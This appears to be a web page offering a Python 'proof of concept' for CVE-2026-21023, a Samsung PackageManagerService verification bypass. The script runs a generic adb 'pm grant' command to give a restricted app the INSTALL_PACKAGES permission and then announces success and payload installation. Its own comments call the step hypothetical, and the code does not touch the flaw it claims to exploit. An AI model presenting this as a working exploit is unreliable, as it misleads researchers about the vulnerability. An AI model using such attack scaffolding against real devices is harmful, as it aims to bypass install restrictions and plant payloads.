CVE-2026-21023 Samsung PackageManagerService验证绕过漏洞

import subprocess # This is a conceptual PoC for CVE-2026-21023 # It demonstrates bypassing installation restrictions by manipulating package settings. def exploit_pms_vulnerability(): target_package = "com.restricted.app" # In a real scenario, the attacker would use the specific API flaw # to modify the installation restriction flag for the target package. print(f"[*] Attempting to bypass installation restriction for {target_package}...") # Simulating the command injection or API call # This exploits the insufficient verification of data authenticity. try: # Hypothetical command to modify PMS state # Exploiting the lack of verification to grant install permissions result = subprocess.run(['adb', 'shell', 'pm', 'grant', target_package, 'android.permission.INSTALL_PACKAGES'], capture_output=True, text=True) if "Success" in result.stdout or result.returncode == 0: print("[+] Exploit successful! Installation restriction modified.") print("[*] Proceeding to install payload...") else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_pms_vulnerability()